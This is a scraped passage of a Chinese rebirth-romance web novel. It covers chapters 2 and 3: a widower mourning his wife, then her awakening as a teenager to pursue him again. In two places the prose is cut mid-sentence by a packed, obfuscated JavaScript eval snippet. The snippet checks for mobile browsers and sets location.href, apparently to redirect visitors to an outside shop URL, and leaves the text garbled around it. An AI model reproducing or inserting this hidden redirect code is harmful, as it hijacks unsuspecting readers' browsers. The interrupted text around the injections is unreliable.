《回到过去[重生]》 2. 第 2 章 兰梓泽整理着元乔留下的东西。 一张照片先掉了出来。 是两个人的合照。 从视频中截的,有些模糊。 但是无论清晰度如何都挡不住兰梓泽的笑。 那是他高强度工作了一年多,将那些心怀鬼胎的异己铲除的七七八八之后,终于能松一口气。 元乔拉着他去附近逛了逛,当时兰梓泽讲了一个很冷的笑话。元乔却特别捧场,笑得前俯后仰的,兰梓泽也被带着笑了出来。 相册里基本上每一张都有他。 开始的时候,日常照还多一些,越往后翻,随着兰梓泽的工作愈发繁忙,更多都是他工作时的照片,有些是出席活动的,有些是采访的照片,元乔都仔仔细细地保存下来。 翻着照片,除了偶尔穿插着一些他们两个的日常的合照,很多照片兰梓泽都想不起来是什么场合下留下的照片了。 那几年他相似的饭局和活动实在是有些数不胜数,他本人甚至都无法从相似度极高的照片中看不出什么不同来,要不是有背景的转换,他实在就像是一个合影的机器。 可是,元乔不仅将这些瞬间收集了起来,而且还在照片后面留了字。 兰梓泽专心地看着后面元乔的碎碎念,回顾着两个人这些年的点点滴滴。 “怎么又瘦了呢?” 两个人都是在厨艺上没有什么天赋的人,在一起也都是外出觅食的多,对吃的也都没有什么偏爱,一旦忙起来随便对付的时候居多。 看了一眼照片的时间,是他们结婚后的第二年了。 那段时间的他基本上就是连轴转,是真的忙,吃饭也都是随便对付几口,她要给他送吃的,可她当时也是忙得不可开交。 不过偶尔她还是能腾出来一些时间来,但他不想她把一点休息时间浪费在路上,两个人能在饭点儿凑出一致的时间,一起视频吃饭都成一件奢侈的事情了。 兰梓泽是真的没空吃饭,事情多,时间紧,自然而然地选择了压缩吃饭的时间,而元乔又不爱吃饭,自己吃也就是对付几口。 所以,那一段不仅他瘦,她也没好到哪去。 两个人很默契地对彼此隐瞒着真实情况,加上一直都在见面,也没有发现彼此都瘦了。 最后还是回家,元松一看见两个人,二话不说地让家里阿姨跟着他们回来,每天给两人送吃的,才算是在饮食上规律了一些。 双方的家长,就剩下元松了,后来但凡两个人一起忙,元松都会让阿姨来给两个人做饭。 近两年,两个人的工作量都有所减少,可两个人都不喜欢做饭,两人一合计,元乔时不时地带着兰梓泽回家去住,后来索性都住在了家里,反正两个人也不用上班打卡。 元乔有时候还会跟着阿姨一起去买菜,认识了不少蔬菜。 兰梓泽进了厨房,连知道撇浮沫都会被元乔大夸特夸。 元松觉得她偏爱到离谱,喝着兰梓泽给泡好的茶,对着兰梓泽吹胡子瞪眼地指导下一步该干什么。 兰梓泽倒是在元松的指导下,能有模有样地做些菜了。 上次打电话元乔还念着想喝他煲的汤了,他还满口答应,让阿姨提前把食材都准备好。 只不过,没有派上用场。 “这都是这个月熬的第三个夜了,可这才是这个月的第五天啊。” 他都可以通过这些字想象到元乔当时的表情,一定是可可爱爱的,嘟嘟囔囔地写完然后再叹一口气。 这是刚完成收购,底下还有一些蠢蠢欲动的,他其实主要起一个威慑的作用,但是总有人会想着给他添堵,因着时差,所以,他总是要在工作之外的时间处理一些意外情况。 在其位谋其政,她会在旁边陪着,总是会先在椅子上睡过去,后来,他也会先去休息,等她睡着了,再起来去处理工作。 几次之后,她基本上就是躺在床上三秒入睡,等他处理完工作回来,再熟练地将自己塞进他怀里睡过去。 “讨厌这个冬天,又感冒了,都说了不让你管,非要守着,我早上都听见你咳嗽的声音了,我能在家休息,你能吗?” 可能是因为在南方长大的原因,所以,她是真的喜欢雪,无论每年再看多少次,都是觉得惊喜的。 最开始的时候,他没经验,陪着在雪地里玩儿了一下午,凌晨的时候她就开始不舒服,反反复复的发烧加上咳嗽,难受了一个星期才算是好一些。 第二年,任凭她十八般武艺,他都不为所动,再也不敢纵着她去雪地里玩儿个痛快,都是卡着时间,一到点二话不说就把人往屋里带。 她不乐意可也知道好歹,就一个人眼巴巴地坐在落地窗那儿,看着院子里厚厚的雪。 见不得她无精打采的,他又出去另外给堆了好几个雪人,按照她的指示装扮好了,她就又生龙活虎起来了。 他一次不在家,她偷偷地自己出去玩儿,还知道在他回家之前处理好痕迹,可第二天的喷嚏还是没让她瞒住,又赶上他要出差,他直接将人送回了家,让元松看着。 就算是这样,无论他再怎么注意,可是,一到冬天,她还是会在某个时刻就感冒了。 她倒是不在意,盯着红红的鼻头,咳得有些沙哑的声音安慰他,这是她的免疫细胞在战斗,年年就是要生一次病才好。 后来,他会早早地备好感冒药,不用订闹钟也会在夜里准时醒来,给她测体温,给人喂水。 今年的药也准备了,不过没有用上。 去年的药也没有用上。 以后冬天都用不上了。 “哇,这次我选的衣服太合适了,好帅啊。” 她一直都很热衷给他添置各种东西。 她总是会在一些小的细节上,对他多花些心思。 也从不会打领结,到后来闭着眼睛都能快速系好,给他一个拥抱,让他好好上班养家,然后又钻进被子里接着补觉去了。 他的衣橱里也逐渐有了亮色,他还能想起来第一次穿着休闲装去和沈默他们一起吃饭的时候他们惊讶的样子。 身上的家居服元乔有同款不同色的,两个人一起去商场逛街的频率少之又少,所以,元乔非常喜欢这几套他们一起买的衣服。 身上的这件,某处已经被打湿了,擦了擦眼睛,兰梓泽缓了缓情绪,继续往下翻看着。 “今天采访的主持人漂亮,你不帅。” 他们两个都是婚戒不离手的人,加上开始的几年,俩人在公共场合的一些表演,所以,很多人都默认那些关于他们感情不和的传言不假,耐不住有些人会动些心思。 两个人都是很注重隐私的人,工作上的抛头露面都被元乔婉拒了,可兰梓泽却没有她那么幸运,这个访谈也是实在推不了才接下的。 元乔倒也没有那么小心眼儿,她就是看着满天飞的通稿有些不痛快罢了。 等到兰梓泽被元启骂得狗血淋头,秘书给她通风报信,她又不舍得了,护得厉害,元启骂一句,她护一句,最后还差点儿护急眼了。 本来就是奉旨前来,元启见火候差不多了也就收了手,走的时候还又添了一把火,说要是她还不解气,就带回家让爸骂。 本来就是捕风捉影的报道,元乔肯定是相信他的,连连摆手,表示不用。 只要一方是兰梓泽,无论什么事情,元乔都会站在他这一边。 从无例外。 “你还要三天才能回来,好久哇。” 兰梓泽出差的次数总是比元乔多,所以,她等他的时候居多。 她理解他是去工作,她要是去了也只是让他分心,就在家等着。 只有一次在和他打视频的时候说想他了,当时他的工作处理得差不多了,就连夜赶了回来。 她早上见到他得惊喜是做不了假的,可是也担心他太累,又怕他的司机会疲劳驾驶。 从那儿之后,她就只会在日历上标好倒计时,等着他。 视频的时候也只会说等他,从来不会催促也不抱怨。 他之前也会想家,可被等待的人总是被偏爱的,被偏爱的总是会有恃无恐,现在,家里没了那个等他的人。 乔乔,我在等你,可,你,是不是不会回来了? …… 最后一张照片不是人像,很模糊。 背面没有什么碎碎念,是很简单的一句话,“嗨,宝宝,你爸爸还有两天就回来了哦。他肯定也会很高兴的。” 相册最后还看不出来什么的照片,和这句简短的话,在这个深夜,终于到了兰梓泽眼前。 在元乔离开之后,一直积攒着的眼泪,在这些文字面前,溃不成军。 “你怎么就那么傻呢?乔乔?” 本来兰梓泽是要自己开车的,可是沈默抢先一步,他也不想和他多争,直接坐到了副驾。 这一年来,他总是睡不太好,休息时间不够,睡眠质量不高,头疼三天两头地就会光顾。 近期更是不停地连轴转,他不用照镜子,也知道自己的脸色,好看不到哪里去。 既然不用开车,他准备在车上眯一会儿。 亡羊补牢也是补。 他希望,等会儿,他最起码,看起来,状态是精神的。 开车的沈默,再一次在红灯的时候,悄悄地看了一眼闭目养神的兰梓泽。 对上兰梓泽的目光,沈默挤出了一个比哭还更加难看的笑容,“没事儿没事儿。” 语言太过于苍白,此时的任何真心实意的安慰,都抚慰不了那伤心的人。 “我没事儿。”兰梓泽揉了揉自己的眼眶,他能猜到,沈默收回去的话是什么。 收回目光,沈默目不斜视,专心致志地开车。 今天是元乔的忌日。 元乔走得很突然。 当时兰梓泽在外地出差。 她去逛街前两个人还通了电话,说有一个好消息要和他分享,要等他回来,当面告诉他。 收到她离开的消息,兰梓泽匆匆结束了行程,赶了回来。 本就是长袖善舞的人,将事情料理得井井有条。 只是原本就严肃的人,变得更加没有什么表情了。 不过这也是人之常情,谁也没有放在心上。 依旧还是正常上班,照常下班。 对于一些公事上的应酬,好多都已经不再需要他到场,他也不再参加任何朋友的私下小聚。 一个人住在他们的家里。 独来独往。 不动声色地拒绝了所有的安慰和陪伴。 表面上看起来一切如常。 直到一场流感击碎了他所有的伪装。 众人都以为两个人之间,更多的是多年的陪伴之下的感情。 相敬如宾是不错,周围的朋友们也给予了应有的尊重。 可如果要将二人往情爱上走,好像有些牵强。 殊不知,那是兰梓泽为了更好的保护元乔,所做的伪装。 二人是相亲认识的,他需要一个妻子,都觉得对方尚可,于是很快就走完了结婚的流程,住在了一个屋檐下。 他们家的情况比较复杂,他双亲已于多年前过世,他接手时,叔伯势力都在,局势不是很乐观。 他年纪尚轻,实力有所欠缺,对手又是虎视眈眈,他自己都大大小小地经历过了几次车祸,从阎王殿里游走过几遭。 不把元乔推到人前,将其隐于身后,是他能想到的最保险的做法。 最开始,是基于对合作的盟友的应有的保护。 后来,就成了对妻子的呵护。 他不敢去拿元乔冒任何的险。 要演戏,骗过去,就要认真,两个人都在人前逢场作戏,两个联姻的人没有感情,是再常见不过的事情。 于是,就这样,一年又一年地过了下去。 兰梓泽一步一步地往上走了,他对元乔的爱,也一同不动声色地藏在他一年四季都没有什么变化的表情后面。 瞒过了,几乎所有的人。 迟迟不见好的感冒演变成高烧,又引发了肺炎,在医院里愣是住了有小半个月。 一场断断续续的高烧,将他那天衣无缝的演技戳破了一个小洞。 在反复的起烧里,兰梓泽强撑着、表演着若无其事的大脑,在病毒的攻击下,昏昏沉沉,暂时失去了对“他一切都好”的伪装的指挥。 他的那些深埋的思念与脆弱,这才让众人得以窥见。 那些隐藏着的深情也被大家寻到了蛛丝马迹。 深沉的爱意,连同他病愈后消瘦的清减一起,大白于天下。 后知后觉的众人,这才明白,原来他们的认知是有多么的狭隘。 现在,四四方方的一片土地,板板正正的一块儿石碑。 为这些含蓄的汹涌爱意,增添了更多的悲情的色彩。 逝者不能生,道理简单,接受却又那么难。 沈默没头没脑地说了一句,“我听说,人去世之后,他会在天上看着他所爱的人。” “你准备转行了这是?” “活着的人就应该好好地生活下去。” “我没有觉得自己活得不行。”兰梓泽随口应到。 “你一直都是我们之中最聪明的,再棘手的事情都能做得完美,我一直都很佩服你。我希望你能一直好好的。” “这是又要走煽情路线?” 沈默没接他的话,只是看着他。 兰梓泽率先败下阵来,“好,等忙完这一阵儿,我就去。” “我和你一起。” “你去干什么?”兰梓泽解开了安全带,“隔音措施应该很好,你能听到?” “我去当保镖。”沈默跟着解开了安全带,“行不行?” “可是行,那是我的荣幸。”兰梓泽整理了一下衣领,“这辈子还没有看过心理医生,感觉还挺新奇。” 沈默要说些什么,又被兰梓泽岔开了话题,“我看起来怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408932|200641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样?” “可以。” 得到回答的兰梓泽推开了车门。 沈默跟着下了车。 为数不多的,对于二人之间的感情有了解的知情人,沈默知道元乔的离去,带来的是怎样的天崩地裂。 也明白兰梓泽此刻更需要的是独处。 沈默很是自觉地将花放下,把空间留出来,又回去了车上。 往常两个人来看元乔,基本上都会错开时间。 这次,兰梓泽也是算着江子宁差不多离开了,才上来的。 江子宁在元乔离开之后,和兰梓泽之间的交集基本为零。 两人深知,此时,需要的不是“一切都会过去。”“都会好起来。”这种听过百八十遍的话。 他们需要的是,时间。 能抚平伤口的人,离开了。 所以,只能交给时间。 死亡和活着的人擦肩而过,带走了他们所爱之人。 留给未亡人的是一种无法用言语来表述的悲痛。 可太阳不会因为一个人的离去而有所变化,仍旧会照常升起。 生活仍然继续。 痛苦不会减轻,只是被刻意地藏了起来。 两个伤心欲绝的人,不约而同地将自己所有的时间都用工作塞满,成为了无喜无悲的工作机器,是刀枪不入的大人,处理着永远都处理不完的工作。 两人难得地达成了一致,心照不宣地有意无意地在工作上避开见面。 他们之间最多交集的那个人,不在了。 两个人见面,勾起的只有回忆。 难道要让两个悲痛的人,挣扎着互相安慰? 那未免也有些太残忍。 成年人都有自己的伪装,那就带着藏起来的悲伤,继续生活下去吧。 两个人,都没有什么交谈的想法。 当然,江子宁更没有要给他腾出地方来的意思。 兰梓泽只是越过江子宁,看着妻子的照片。 照片是他定的,这是二人的合照,裁出来的。 为此,江子宁还和他争执了一番。 凭心而论,这张照片里的元乔,确实是没有江子宁找的那几张笑得明媚。 可兰梓泽就认准了这个,只因为乔乔说过,这一张是她最喜欢的合照。 骂了他一句“瞎。”江子宁觉得不够,又加了一句“神经。” 最终,还是她选择了让步,她不想让乔乔看着两个人为这件事儿争执,就这样选定了这张照片。 兰梓泽在元乔这里,一直都是有优先权的。 可是这些年,江子宁和兰梓泽在元乔这里明争暗斗,争第一的时候,往往都是江子宁是最后的胜者,很明显,她的优先等级更高一些。 江子宁也知道,乔乔是为了哄着自己,而兰梓泽,当然是以乔乔为准。 一个是伴侣,一位是挚友,两个人的身份注定了他们之间不会起冲突。 二人争来争去,也只不过是单纯地,江子宁觉得元乔委屈,看兰梓泽不太顺眼,对他有些鸡蛋里挑骨头罢了。 当然,江子宁也知道她有些苛刻,可在她眼里,世界上就没有人能配得上自己家乔乔,就连兰梓泽这种基本上满分的人,也能被她挑得一无是处。 二人原来的争执,基本上在元乔拉偏架的情况下,十之八九都是江子宁胜,剩下的十之一二,是元乔为了平衡,选择重色轻友。 这次,没了中间的调停者,一向不服输的江子宁,最后还是没有再和兰梓泽争。 罢了,让他一次好了。 乔乔,你看我是不是很懂事? 你回来,当面夸夸我呗? 故去的人,早已不再用人间的那一套交流系统。 回答她的只有,好友那有些羞涩的,笑脸。 擦了擦那一张笑脸,江子宁强撑着,不让眼泪落下。 蹲得时间太久,双脚已经麻木没有知觉了,她若无其事地站起来,还是踉跄了一下。 兰梓泽将自己准备的东西逐次摆好。 在来的路上,他将提前准备好的话,又在脑海里过了一遍。临场发言经验也无比丰富的他,却在此时,卡了壳。 江子宁看着一言不发的人,乔乔走了之后,这人更加沉默了。 刀划元乔脖子的那一刹那,带走的不仅仅是云乔,也带走了兰梓泽的所有。 “怎么不告诉我?” 没头没尾的一句话,可他们之间的交集最多就是元乔,江子宁愣了一下,还是实话实说,“可能是因为,觉得乔乔也不想你更伤心。” 医院也是江子宁一起陪着去的,两个人聊天,元乔说最近更是没有什么胃口,她以为是天气热,也不在意,江子宁怕她胃再不舒服,所以拉着人去了医院,倒是有了意外之喜。 元乔之前的身体一直在调理着,这个宝宝真的是意料之外,她想着等兰梓泽回来了之后再告诉他。 阴差阳错之下,终归还是没有亲口告诉他。 元乔离开后,江子宁和元启不约而同地都选择了隐瞒,谁都不愿意在兰梓泽的伤口上再划上一刀。 江子宁再次开口,“我们都没有错。” 我们都不想乔乔离开。 不敢见面,是因为,我们知道,我们在怪自己。 有些时候,自己的情绪都快要控制不住。 怕自己忍不住去怪对方,怪和自己一样自责的对方。 我们都太伤心了。 那不是我们的错,我们都不要再责怪自己。 如果说出差没有陪她逛街,是错;那同城却临时为了见客户没去赴约,也是错。 既然都放不下乔乔。 那我们,都先试着,放过自己吧。 同元乔道了别,江子宁头也不回地走了。 留下兰梓泽一个人望着照片上的人儿。 “我……”开了个头,兰梓泽看着元乔的笑容,剩下的“挺好的”也不再能说得下去。 他不好,过得很不好。 不太能吃得下去东西,睡觉也不太好。 虽说之前忙工作的时候,吃不好睡不好都已经是常态,可他自己知道,这是不一样的。 他之前觉得只要辛苦一些,等到稳定了,他再也不用担心乔乔会受到什么伤害。 他一直都很有信心,他觉得他们的以后会很长,他以为他们会有很多很多的以后。 对于时间,他一直都太过于乐观。 他以为他们会有很多的时间去干想做的事情,可以去自驾,可以去看新出生的熊猫。 可以去任何的地方,只要乔乔想。 可意外来临之后,他只能看着照片上的她,想着那不可能的如果。 他收拾好了的自己的情绪,思念从堵住的喉咙里挤了出来,“你能回来看看吗?” “也没有什么事情。”他仔仔细细地又将附近清理了一次,他看着照片,声音温柔,“我就是想你了。” 3. 第 3 章 “乔乔!”林姨的声音随着打开的房门涌入房间。 翻了个身,元乔拉过被子,企图隔绝声音。 迷迷糊糊中还有些纳闷,林姨这些年不都走起养生路线了,怎么这脾气又突然火爆起来了? 下一秒,她身上的被子就被掀了。 “几点了几点了?一天天,三催四请的。”林姨一开口便不停,“一放假,你那一堆毛病又放出来了。” 放假? 放什么假? 什么放假? 元乔坐起来,第一眼看到的就是一头利落短发的林姨。 “嚯!”她往后挪了一下,问,“林姨,你怎么换回你年轻时候的发型了?” “再养你几年也被气老了,”林姨催促着,“快点儿,我一会儿送你去补习班。” “补习班” 上什么补习班? 阴曹地府也这么与时俱进? 也抓升学率啊? “今天不是最后一节了吗?” 今天? 不敢置信的元乔环顾了一圈儿。 高中时她的卧室。 回到了高中? 高中? 她拍了拍自己。 实心的? 她活过来了又? “发什么呆呢?”林姨又拉了她一把,“快点儿。” 元乔看着她。 林姨刚工作的时候受过元乔妈妈的帮助,她妈妈离开之后,就一直在她们家,照顾着她们的每日三餐。 “林姨我爱你。” “我也爱你。”林姨摸了摸她额头,“怎么傻愣愣的?哪不舒服?” “没有,我就是高兴。” “快起床。” 高中? 高中! 那是不是就意味着能再见到兰梓泽了? 从天而降的惊喜砸得元乔晕头转向。 洗了一把脸,压下了脑海中不断往外冒的想法。 迫使自己冷静下来,元乔梳理着目前的情形。 这是高一升高二的暑假。 元松工作基本上就没个空闲的时候。 元启读了大学之后,一年比一年忙。 今年刚参加工作,更是连假期都没了。 她心不在焉地听着辅导班的老师讲留学经历。 和林姨说放学之后要给同学过生日,一下课,带着书包就往外冲。 淅淅沥沥的小雨,带走了她赶过来的仆仆风尘。 值班的保安,看着站在那里,也不知道躲雨的小孩儿,怕给人淋出什么好歹,招呼着,让她进保安亭里避避雨。 谢过保安大叔,冲动劲儿过去之后,元乔也想了起来。 这个假期兰梓泽应该是和沈默一起进藏了。 江子宁跟着她妈妈去国外购物去了,距离开学还有一段日子,元乔决定去看看元启。 元启是十岁的时候回的元加额。 元松和元启的母亲早年是自由恋爱。 两个人也是浓情蜜意了一段时间。 后来,随着元松越来越忙,两个人之间的感情也就有了裂隙,两个都是很理智的人,好聚好散。 元启的母亲后来生病,他就被接回了元家。 对于大人之间的事情,元启的母亲一向对他都没有什么隐瞒,小孩儿被她教导得好,没有什么扭曲的心思。 元乔的母亲在结婚之前就知道了元启的存在,在他母亲忙工作的时候,也会将人接回家,照顾着。 元乔的母亲人和善,对他也是视如己出。 大人之间都坦坦荡荡,彼此之间没有诋毁和埋怨。 本就更加单纯些的小孩儿之间,更不会有那么多的弯弯绕绕。 所以,元启和元乔兄妹俩的关系一直都还不错。 元启上了大学,繁忙的警校生一头扎进了学校,但还是不往抽空关心一下元乔。 这个习惯即使上了班儿还保留着。 趁着吃饭的时间,元启打算关心一下自己留守的妹妹。 “哥,我到你单位门口了。” 事情发生得太过于突然,元启在电话那头被呛住,咳得顾不上发表惊讶。 等他接到了元乔,一脑门的疑问被“饿了”两个字轻飘飘地堵了回去。 吃完了饭,元乔又提出想去红大参观参观。 上辈子的元乔,过了这个假期,半年后直接就去和江子宁一起去了国外,大学也是在国外读的,对于国内的学校,她没有什么经历。 加上,这又是国内的数一数二的学校,名校总是自带光环,再加上每年一次高考季的渲染,让人总是忍不住地好奇。 无事不登三宝殿,平白无故闪现在自己的单位门口,怎么看都不像是她说的,没事儿,来看看他。 反正急得不是元启,他就带着元乔逛起了校园。 元乔对于那湖丝毫不感兴趣,饶了一段路,他直截了当地说出了自己的来意,“哥,我不想转学。” 猜了许多可能的元启,怎么也没有想到会是这样的理由。 “不想转就不转。”元启觉得她有些奇怪,一个电话就解决了的事儿,值得她亲自跑一趟? “我去和爸说?”元启快速过了一遍自己的事情,排出了一个最近的时间,“你等结果吧。” “不用。”元乔一时间还改不了原来的说话习惯,她放缓了一些语气,让她听上去像一个高中的小孩儿,“哥,我去和爸谈,需要你帮忙的时候,我找你。” 拉着人拐过一个弯儿,元启还是没忍住问了一句,“我能问一问,原因吗?” 兰梓泽,这就是原因,唯一的原因。 我是你十几年后的妹妹,我重生了,现在,我要去追我未来的丈夫。 一句话的事儿,简单明了。 可是,元乔即使再激动,脑子还在,也能正常使用。 这个理由实在是,太扯了。 光天化日,朗朗乾坤之下。 她要是说出这番鬼神言论来,他这个警校出身的大哥,坚定的唯物主义者,估计会先表示很惊讶,然后就会二话不说地将她哄骗到三院,去检查脑子。 哦,这里的三院,精神科在全国范围内都是享誉盛名,大众赋予其一个更加通俗的别名:精神病院。 “我说我舍不得你们,想留在国内读大学,离你们近一点,你信吗?”元乔自打会说话起,甜言蜜语就开始不要钱地往外送,哄人手段五花八门的。 闻言,元启只是挑了挑眉,没说信,也没有说不信,只是静静地看着元乔,表情很平静,意思也很明了:我就静静地看着你编,你继续编。 看着面前的岔路,元乔憋出来了一句,“我能先不说吗?” 尊重小孩儿的隐私,压下了自己的好奇,元启对自己的妹妹还是信得过的,肯定不会是什么出格的事情,该他知道的时候,他自然就会知道了。 元乔直接对着元启伸出了手。 左看看,右瞧瞧,还是没有反应过来,眼前这小孩儿要干嘛。 “哥,给我转点钱。” 元乔不是什么大手大脚的人,平时的零花钱都花不完,元启总是担心她太节俭,平时要塞钱给她都会被拒绝。 生平第一次被要钱的元启,被逗笑了。 这感觉实在是过于新奇,他给转完,觉得不放心,翻出来身上的现金,一股脑儿地都塞给元乔。 也是没有忍住打趣,“你这是突然改变性子了?” “怎么,不能问你要钱?”元乔把现金装进口袋,又去接收转账,元启足够大方,元乔收得开心,“谢谢哥。我回了。” “这就走了?” “我就来看看你,看也看完了,还呆在这儿干嘛?” “我送你到机场。” “不用,我又没行李,地铁五块钱我就到了。你好好保卫大家的安全,拜拜。” 回来之后离开学也不远了。 今年这个城市的夏天特别反常,动不动高温直逼四十度。 元乔不信邪地去了几次兰梓泽家的小区,举目望去,除了她和保安,还有偶尔进出的车辆,基本上很难见到活物。 晚上出来的人也寥寥无几,毕竟二三十度也的确不适合纳凉。 千呼万唤中终于到了开学的日子,可是高温着实是可怕,学校延期开学。 一心向学校的元乔在家里扑腾,在她爸和林姨不解的眼神儿中还是嚎了个够。 等到真的开学的时候,那个统一的校服领子都要被她的手汗染湿,她又凑到林姨面前,“林姨,你看我这样行吗?” “行,可太行了。”林姨看着时间,怕她迟到,“能走了吗?” 坐上林姨的车子,元乔还在摇头晃脑地哼着不知名的小调。 “上学这么开心?” “嗯。” 能见到日思夜想的人了,这谁能不激动? “我爱学习。” 对元乔几斤几两门儿清的林姨有些意外地看着她,“学校那边儿和老师约好了,明儿你爸会带着你去看。” “啊?” “新学校。”林姨在红灯的间隙看向她,“之前问过你的,你不记得了?” 元乔想起来了。 上一辈子的她也是在高一没读完就转去了另一个学校的国际部,而后又出了国。 算算时间,差不多也就是这个时候我就转学了。 差不多就是这个时候了。 “我和你们老师请过假了,你记得去写个假条。” “好嘞,林姨把我放路口吧,里面车太多了。” “乔乔!” 江子宁将右手的饼干叼进嘴里。 接过她左手的奶茶,元乔问,“大早上就喝这个啊?” “这是我宝儿的新代言,”她从包里提溜出来一个盒子,“诺,你的。” “香水?” “嗯,这个是新出的,你看,名字也是和她相关的。” 江子宁最近有了新的墙头,一下子还多了俩。 两个人的代言不停歇地宣,元乔也是经常被投喂。 “甭塞了甭塞了,”元乔看着被零食撑满的校服口袋,扁口的愣是被装成了敞口的,“吃不完吃不完,”看着江子宁书包上多出来的徽章,“新周边?” “还有有一个小的玩偶挂件,和你给我买的包很搭。明天还会有一个耳机,我怕抢不到周边,放学后你陪我去店里看看吧?” “我爸明天让我去看学校。” “也挺好的,转过去起码不用上晚自习了。你去了我也跟着你一起啊,我让我爸还把我弄到你的班里去。” 江子宁已经开始畅想以后没那么多课和考试的美好日子了。 元乔有些不忍心打断她的美好幻想。 “那个,我有话和你说。”元乔拉住她,“我不想转学了。” “啊?你不是以后要出国的吗?” “事情有些复杂,我三言两语说不清。” “长话短说呗。”江子宁看了看时间,把剩下的饼干一把塞进了元乔的嘴里,“一会儿有升旗,晚了要站前面了。快快快~” “哎哎哎,再等一会儿,”元乔拖住她,口齿不清地说,“一小会儿。” “干嘛呀你?”江子宁看了一圈儿,“你看没什么我们学校的人了,都是十九中的。” 等的就是十九中的。 兰梓泽在十九中。 “嚯,不愧是十九中,发色都能集齐彩虹了吧。” 顺着江子宁的视线看了过去,走路腿不打弯儿的兰梓泽迈着微微的外八走进了元乔的视线。 元乔不假思索地冲了过去。 兰梓泽。 会呼吸、有心跳、活的兰梓泽! “兰梓泽。” 失而复得原来是这种感觉。 不可思议的美梦成真,第一个做出反应的竟然会是眼泪。 怕吓到眼前这个一无所知的人,压下哽咽,快速收拾好自己的情绪,元乔稳住自己的声音,“我叫元乔。” 少年有一瞬的怔愣,顶着板寸,疑惑地看着眼前突然冒出来的人。 他周围的人已经开始起哄,他瞥了一眼,一群人压低了声音。 在周围的窃窃私语声中,元乔将他的手拉了起来,而后将口袋中的零食一股脑儿地全部塞进了他怀里,笑着找到了他的眼睛,“交个朋友。” “怎么个事儿?”江子宁抽了一张纸巾递了过来。 吸了吸鼻子,元乔冲她摆了摆手,“没事儿,我不用。” “不是,”江子宁对着自己比划了两下,“你嘴角儿有酱。” “怎么可能?我早上没吃带酱的东西,”看到纸上擦下来的巧克力酱,元乔想起来了,刚才的饼干是夹心儿的! 也就是说。 大庭广众之下,她顶着一嘴角的食物残渣,去和兰梓泽打了招呼? 这也太丢脸了吧? “没事儿啊,没事儿啊,虽然现在大家不凿壁也不用偷光了,可十之八九都是近视,谁能注意到你嘴角?” 欲哭无泪的元乔看着江子宁,一言不发。 “哎,不是,刚才你站我右边儿,我没注意。”江子宁拉着人狂奔,“快走快走,真的赶不上升旗老宋要生气的。” 气喘吁吁到了地方,老宋正和主任在她们班后面交谈不知何事,俩人在老宋的注视之下鬼鬼祟祟地站到了别的班级队尾。 “刚才那是什么情况?” “我和人分享零食啊。” “我眼睛好得很,”江子宁四周看了看,没什么人注意到她们,退一步和人并排,“我问的是,你为什么突然和他分零食?还拉人家的手,你什么时候和十九中的人这么熟了?我怎么不知道?” “没那么熟,”元乔实话实说,“不过我准备追他呢。” 有先见之明的元乔眼疾手快地捂住了江子宁的嘴巴,让她一嗓子的惊讶重新回到嗓子眼儿里,同时将人往前推了一步。 “讲完话了,”元乔竖起食指,小声说,“要升旗了,安静安静。” 升旗结束,江子宁没来得及拷问,元乔便被班主任老宋叫到了办公室。 “运动会的主持人今年依旧老带新,高一年级人选是你们俩。” 元乔这才看向旁边的人。 “邢臻?” 那个男明星? 他们竟然是高中同学? “你们认识?” “老师,可能这位同学听过我的名字吧。” 一开口那股自命不凡,唯我独尊的劲儿便有了端倪。 上一辈子元乔忙着转学的事情,主持的活儿是交给了别人,从始至终都没有和邢臻有过任何的交集。 她快速从记忆中翻找,千真万确,对这个人没有任何的印象。 不知哪里的阴差导致了这一辈子的阳错,竟然会提前见到他。 元乔并非不分青红皂白的人,虽然说她上一辈子的离开和身边的人脱不了关系,但是那毕竟是多年之后的他。 现在高中生的他看起来只是自恋些讨人嫌而已,倒算不上罪大恶极。 只是,元乔从心底里依旧抗拒和他的任何来往。 “老师,主持人我不行,我没有经验,而且,一旦人多,我容易紧张,结巴,哆嗦,恐惧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408933|200641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还内向我,不行不行,这个活儿我干不了。” “我看你这一串儿说得挺溜,”老宋不是那种一意孤行的人,“行吧,我再找找别人。” “好嘞,老师,没事儿我走了?” 一秒钟都不想和邢臻同呼吸一片空气的元乔,得到肯定回答后麻溜离开。 事情的发展有些出人意料,元乔问江子宁,“你知道邢臻吗?” “这谁不知道?”江子宁看了看她,“哦你不知道。” “你一向不是都不好奇这些的?” “老宋让我和他一起主持运动会,我拒绝了,”元乔扯了一个借口,“但是我觉得他怪怪的。” “老宋还是不了解你,出风头的事情找你能行吗?”江子宁小心翼翼地给自己的玩偶打上腮红,“邢臻长得好,会捯饬,学习也就那样吧,军训汇演的时候不是自弹自唱了个原创的词曲,一下子俘获了一众的芳心。” 那问题就不大了,元乔心想,邢臻出名的场子是晚会,而她最爱逃这种场合。 “他人怎么样?” “就那样吧,帅,家里好像还蛮有钱的,就众星捧月的少爷样子。”江子宁看了看挂件儿的妆,又添了几笔,“问完了?那到我了。” “你先别急,”元乔看着老师抱着的一堆卷子,感觉不妙,“我们好像要考试。” 接下来连堂的数学小测让江子宁没时间找元乔寻根问底。 与此同时,元乔这个远离了高中好多年的人再次体会到了被一堆数字和符号支配的感觉。 元乔觉得自己的有关高中知识的记忆好像是被覆盖掉了一般。 她现有的记忆中对于高中知识那叫一个模棱两可。 